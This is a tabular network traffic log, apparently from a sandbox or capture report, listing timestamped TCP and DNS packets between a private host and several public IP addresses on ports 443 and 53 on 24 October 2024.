Oct 24, 2024 22:09:57.060554981 CEST	49881	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:57.060561895 CEST	443	49881	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:57.079695940 CEST	443	49878	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:57.079876900 CEST	443	49878	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:57.079950094 CEST	49878	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:57.080091000 CEST	49878	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:57.080120087 CEST	443	49878	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:57.080146074 CEST	49878	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:57.080159903 CEST	443	49878	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:57.082663059 CEST	49883	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:57.082695961 CEST	443	49883	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:57.082923889 CEST	49883	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:57.083054066 CEST	49883	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:57.083065033 CEST	443	49883	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:57.108886003 CEST	443	49882	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:57.109313011 CEST	49882	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:57.109324932 CEST	443	49882	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:57.109740973 CEST	49882	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:57.109745026 CEST	443	49882	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:57.175012112 CEST	443	49879	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:57.175088882 CEST	443	49879	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:57.175163984 CEST	49879	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:57.175230026 CEST	443	49879	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:57.175272942 CEST	443	49879	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:57.175343037 CEST	49879	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:57.175460100 CEST	49879	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:57.175460100 CEST	49879	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:57.175494909 CEST	443	49879	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:57.175518036 CEST	443	49879	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:57.178710938 CEST	49885	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:57.178797007 CEST	443	49885	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:57.178889036 CEST	49885	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:57.179097891 CEST	49885	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:57.179141998 CEST	443	49885	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:57.191867113 CEST	443	49880	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:57.192055941 CEST	443	49880	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:57.192195892 CEST	49880	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:57.192238092 CEST	49880	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:57.192250967 CEST	443	49880	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:57.192260981 CEST	49880	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:57.192265034 CEST	443	49880	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:57.192826986 CEST	443	49881	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:57.193994999 CEST	443	49881	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:57.194076061 CEST	49881	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:57.194104910 CEST	49881	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:57.194116116 CEST	443	49881	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:57.194130898 CEST	49881	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:57.194135904 CEST	443	49881	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:57.194765091 CEST	49886	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:57.194844961 CEST	443	49886	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:57.194931030 CEST	49886	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:57.195058107 CEST	49886	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:57.195090055 CEST	443	49886	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:57.196239948 CEST	49887	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:57.196268082 CEST	443	49887	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:57.196361065 CEST	49887	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:57.196492910 CEST	49887	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:57.196520090 CEST	443	49887	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:57.242958069 CEST	443	49882	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:57.243127108 CEST	443	49882	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:57.243257999 CEST	49882	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:57.243397951 CEST	49882	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:57.243403912 CEST	443	49882	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:57.243413925 CEST	49882	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:57.243417025 CEST	443	49882	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:57.246201992 CEST	49888	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:57.246243000 CEST	443	49888	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:57.246352911 CEST	49888	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:57.246581078 CEST	49888	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:57.246598005 CEST	443	49888	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:57.575856924 CEST	56422	53	192.168.2.5	162.159.36.2
Oct 24, 2024 22:09:57.581317902 CEST	53	56422	162.159.36.2	192.168.2.5
Oct 24, 2024 22:09:57.581415892 CEST	56422	53	192.168.2.5	162.159.36.2
Oct 24, 2024 22:09:57.586834908 CEST	53	56422	162.159.36.2	192.168.2.5
Oct 24, 2024 22:09:57.857217073 CEST	443	49883	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:57.857664108 CEST	49883	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:57.857705116 CEST	443	49883	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:57.858131886 CEST	49883	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:57.858136892 CEST	443	49883	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:57.918090105 CEST	443	49885	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:57.918697119 CEST	49885	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:57.918762922 CEST	443	49885	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:57.919089079 CEST	49885	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:57.919109106 CEST	443	49885	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:57.922661066 CEST	443	49886	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:57.923005104 CEST	49886	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:57.923031092 CEST	443	49886	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:57.923396111 CEST	49886	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:57.923403025 CEST	443	49886	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:57.950835943 CEST	443	49887	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:57.951247931 CEST	49887	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:57.951271057 CEST	443	49887	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:57.951620102 CEST	49887	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:57.951632023 CEST	443	49887	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:57.971992970 CEST	443	49888	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:57.972383022 CEST	49888	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:57.972404003 CEST	443	49888	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:57.972790003 CEST	49888	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:57.972795963 CEST	443	49888	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:57.987966061 CEST	443	49883	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:57.988040924 CEST	443	49883	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:57.988109112 CEST	49883	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:57.988133907 CEST	443	49883	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:57.988156080 CEST	443	49883	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:57.988220930 CEST	49883	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:57.988284111 CEST	49883	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:57.988300085 CEST	443	49883	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:57.988310099 CEST	49883	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:57.988315105 CEST	443	49883	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:57.990947962 CEST	56423	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:57.991036892 CEST	443	56423	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:57.991117001 CEST	56423	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:57.991255045 CEST	56423	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:57.991290092 CEST	443	56423	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:58.050832987 CEST	443	49885	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:58.051914930 CEST	443	49885	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:58.052001953 CEST	49885	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:58.052092075 CEST	49885	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:58.052136898 CEST	443	49885	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:58.052172899 CEST	49885	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:58.052189112 CEST	443	49885	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:58.055459023 CEST	56424	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:58.055505037 CEST	443	56424	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:58.055562019 CEST	56424	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:58.055716991 CEST	56424	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:58.055732012 CEST	443	56424	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:58.057936907 CEST	443	49886	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:58.058010101 CEST	443	49886	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:58.058069944 CEST	49886	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:58.058113098 CEST	443	49886	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:58.058147907 CEST	443	49886	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:58.058176041 CEST	49886	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:58.058176994 CEST	49886	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:58.058213949 CEST	443	49886	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:58.058245897 CEST	49886	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:58.058260918 CEST	443	49886	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:58.060128927 CEST	56425	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:58.060151100 CEST	443	56425	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:58.060338974 CEST	56425	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:58.060491085 CEST	56425	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:58.060503960 CEST	443	56425	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:58.084418058 CEST	443	49887	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:58.084629059 CEST	443	49887	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:58.084692001 CEST	49887	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:58.084737062 CEST	49887	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:58.084752083 CEST	443	49887	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:58.084779024 CEST	49887	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:58.084789038 CEST	443	49887	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:58.086776018 CEST	56426	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:58.086791039 CEST	443	56426	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:58.087043047 CEST	56426	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:58.087169886 CEST	56426	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:58.087178946 CEST	443	56426	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:58.103924036 CEST	443	49888	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:58.104057074 CEST	443	49888	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:58.104281902 CEST	49888	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:58.104337931 CEST	49888	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:58.104337931 CEST	49888	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:58.104356050 CEST	443	49888	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:58.104366064 CEST	443	49888	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:58.106317043 CEST	56427	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:58.106328011 CEST	443	56427	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:58.106395006 CEST	56427	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:58.106515884 CEST	56427	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:58.106525898 CEST	443	56427	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:58.184459925 CEST	56422	53	192.168.2.5	162.159.36.2
Oct 24, 2024 22:09:58.191112995 CEST	53	56422	162.159.36.2	192.168.2.5
Oct 24, 2024 22:09:58.191184044 CEST	56422	53	192.168.2.5	162.159.36.2
Oct 24, 2024 22:09:58.250001907 CEST	56429	443	192.168.2.5	52.149.20.212
Oct 24, 2024 22:09:58.250051975 CEST	443	56429	52.149.20.212	192.168.2.5
Oct 24, 2024 22:09:58.250124931 CEST	56429	443	192.168.2.5	52.149.20.212
Oct 24, 2024 22:09:58.250638008 CEST	56429	443	192.168.2.5	52.149.20.212
Oct 24, 2024 22:09:58.250653982 CEST	443	56429	52.149.20.212	192.168.2.5
Oct 24, 2024 22:09:58.792017937 CEST	443	56423	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:58.792685986 CEST	56423	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:58.792720079 CEST	443	56423	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:58.793441057 CEST	56423	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:58.793450117 CEST	443	56423	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:58.804418087 CEST	443	56425	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:58.804805994 CEST	56425	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:58.804831982 CEST	443	56425	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:58.805756092 CEST	56425	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:58.805769920 CEST	443	56425	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:58.807559967 CEST	443	56424	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:58.808568954 CEST	56424	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:58.808569908 CEST	56424	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:58.808614016 CEST	443	56424	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:58.808631897 CEST	443	56424	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:58.832237959 CEST	443	56426	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:58.842202902 CEST	443	56427	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:58.849117994 CEST	56426	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:58.849143028 CEST	443	56426	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:58.849709034 CEST	56426	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:58.849720955 CEST	443	56426	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:58.859257936 CEST	56427	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:58.859278917 CEST	443	56427	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:58.860601902 CEST	56427	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:58.860608101 CEST	443	56427	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:58.923253059 CEST	443	56423	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:58.923444033 CEST	443	56423	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:58.923557043 CEST	56423	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:58.935506105 CEST	443	56425	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:58.935966015 CEST	443	56425	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:58.939132929 CEST	443	56424	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:58.939291954 CEST	443	56424	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:58.939332962 CEST	56425	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:58.939441919 CEST	56424	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:58.976835966 CEST	443	56426	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:58.976994991 CEST	443	56426	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:58.981201887 CEST	56426	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:58.984260082 CEST	443	56427	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:58.984750032 CEST	443	56427	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:58.990115881 CEST	56427	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:59.222408056 CEST	443	56429	52.149.20.212	192.168.2.5
Oct 24, 2024 22:09:59.224049091 CEST	56429	443	192.168.2.5	52.149.20.212
Oct 24, 2024 22:09:59.327613115 CEST	56423	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:59.327656984 CEST	443	56423	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:59.327686071 CEST	56423	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:59.327702999 CEST	443	56423	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:59.328430891 CEST	56426	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:59.328430891 CEST	56426	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:59.328483105 CEST	443	56426	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:59.328511953 CEST	443	56426	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:59.331137896 CEST	56427	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:59.331146955 CEST	443	56427	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:59.333297968 CEST	56425	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:59.333302975 CEST	443	56425	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:59.341869116 CEST	56424	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:59.341870070 CEST	56424	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:59.341888905 CEST	443	56424	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:59.341909885 CEST	443	56424	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:59.396805048 CEST	56429	443	192.168.2.5	52.149.20.212
Oct 24, 2024 22:09:59.396907091 CEST	443	56429	52.149.20.212	192.168.2.5
Oct 24, 2024 22:09:59.397789955 CEST	443	56429	52.149.20.212	192.168.2.5
Oct 24, 2024 22:09:59.445496082 CEST	56429	443	192.168.2.5	52.149.20.212
Oct 24, 2024 22:09:59.521563053 CEST	56429	443	192.168.2.5	52.149.20.212
Oct 24, 2024 22:09:59.524107933 CEST	56430	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:59.524188995 CEST	443	56430	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:59.524255037 CEST	56430	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:59.525012016 CEST	56430	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:59.525046110 CEST	443	56430	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:59.527309895 CEST	56431	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:59.527407885 CEST	443	56431	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:59.527487040 CEST	56431	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:59.527595043 CEST	56431	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:59.527623892 CEST	443	56431	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:59.528670073 CEST	56432	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:59.528691053 CEST	443	56432	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:59.528743982 CEST	56432	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:59.530524969 CEST	56433	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:59.530605078 CEST	443	56433	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:59.530675888 CEST	56433	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:59.531136990 CEST	56432	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:59.531147957 CEST	443	56432	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:59.531514883 CEST	56433	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:59.531547070 CEST	443	56433	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:59.532557011 CEST	56434	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:59.532563925 CEST	443	56434	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:59.532610893 CEST	56434	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:59.532855988 CEST	56434	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:59.532866001 CEST	443	56434	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:59.567337036 CEST	443	56429	52.149.20.212	192.168.2.5
Oct 24, 2024 22:09:59.831902027 CEST	443	56429	52.149.20.212	192.168.2.5
Oct 24, 2024 22:09:59.831958055 CEST	443	56429	52.149.20.212	192.168.2.5
Oct 24, 2024 22:09:59.831979036 CEST	443	56429	52.149.20.212	192.168.2.5
Oct 24, 2024 22:09:59.832020044 CEST	443	56429	52.149.20.212	192.168.2.5
Oct 24, 2024 22:09:59.832083941 CEST	443	56429	52.149.20.212	192.168.2.5
Oct 24, 2024 22:09:59.832159996 CEST	56429	443	192.168.2.5	52.149.20.212
Oct 24, 2024 22:09:59.832159996 CEST	56429	443	192.168.2.5	52.149.20.212
Oct 24, 2024 22:09:59.832159996 CEST	56429	443	192.168.2.5	52.149.20.212
Oct 24, 2024 22:09:59.832160950 CEST	56429	443	192.168.2.5	52.149.20.212
Oct 24, 2024 22:09:59.832233906 CEST	443	56429	52.149.20.212	192.168.2.5
Oct 24, 2024 22:09:59.832294941 CEST	56429	443	192.168.2.5	52.149.20.212
Oct 24, 2024 22:09:59.950465918 CEST	443	56429	52.149.20.212	192.168.2.5
Oct 24, 2024 22:09:59.950512886 CEST	443	56429	52.149.20.212	192.168.2.5
Oct 24, 2024 22:09:59.950660944 CEST	443	56429	52.149.20.212	192.168.2.5
Oct 24, 2024 22:09:59.950690985 CEST	56429	443	192.168.2.5	52.149.20.212
Oct 24, 2024 22:09:59.950690985 CEST	56429	443	192.168.2.5	52.149.20.212
Oct 24, 2024 22:09:59.950764894 CEST	56429	443	192.168.2.5	52.149.20.212
Oct 24, 2024 22:09:59.950856924 CEST	56429	443	192.168.2.5	52.149.20.212
Oct 24, 2024 22:09:59.950905085 CEST	443	56429	52.149.20.212	192.168.2.5
Oct 24, 2024 22:09:59.950937986 CEST	56429	443	192.168.2.5	52.149.20.212
Oct 24, 2024 22:09:59.950953007 CEST	443	56429	52.149.20.212	192.168.2.5
Oct 24, 2024 22:10:00.262785912 CEST	443	56430	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:00.264108896 CEST	443	56432	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:00.271764994 CEST	443	56434	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:00.273386002 CEST	56430	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:00.273447037 CEST	443	56430	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:00.274451017 CEST	56430	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:00.274466991 CEST	443	56430	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:00.275217056 CEST	56432	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:00.275232077 CEST	443	56432	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:00.275435925 CEST	443	56431	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:00.276101112 CEST	56432	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:00.276104927 CEST	443	56432	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:00.276432991 CEST	56431	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:00.276485920 CEST	443	56431	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:00.277148008 CEST	56431	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:00.277160883 CEST	443	56431	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:00.278472900 CEST	56434	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:00.278486013 CEST	443	56434	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:00.279613972 CEST	56434	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:00.279618025 CEST	443	56434	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:00.299684048 CEST	443	56433	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:00.301969051 CEST	56433	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:00.302006960 CEST	443	56433	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:00.302676916 CEST	56433	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:00.302683115 CEST	443	56433	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:00.413743019 CEST	443	56434	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:00.413772106 CEST	443	56432	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:00.413789034 CEST	443	56432	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:00.414004087 CEST	443	56434	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:00.414046049 CEST	56432	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:00.414056063 CEST	443	56432	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:00.414093971 CEST	443	56432	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:00.414156914 CEST	56434	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:00.414369106 CEST	443	56430	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:00.414439917 CEST	443	56430	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:00.414474964 CEST	56432	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:00.414551973 CEST	443	56430	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:00.414598942 CEST	56430	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:00.414731979 CEST	56430	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:00.415966988 CEST	443	56431	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:00.416146040 CEST	443	56431	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:00.417323112 CEST	56431	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:00.419763088 CEST	56434	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:00.419780016 CEST	443	56434	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:00.419821978 CEST	56434	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:00.419826984 CEST	443	56434	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:00.421741962 CEST	56431	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:00.421768904 CEST	443	56431	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:00.421879053 CEST	56431	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:00.421897888 CEST	443	56431	13.107.246.45	192.168.2.5
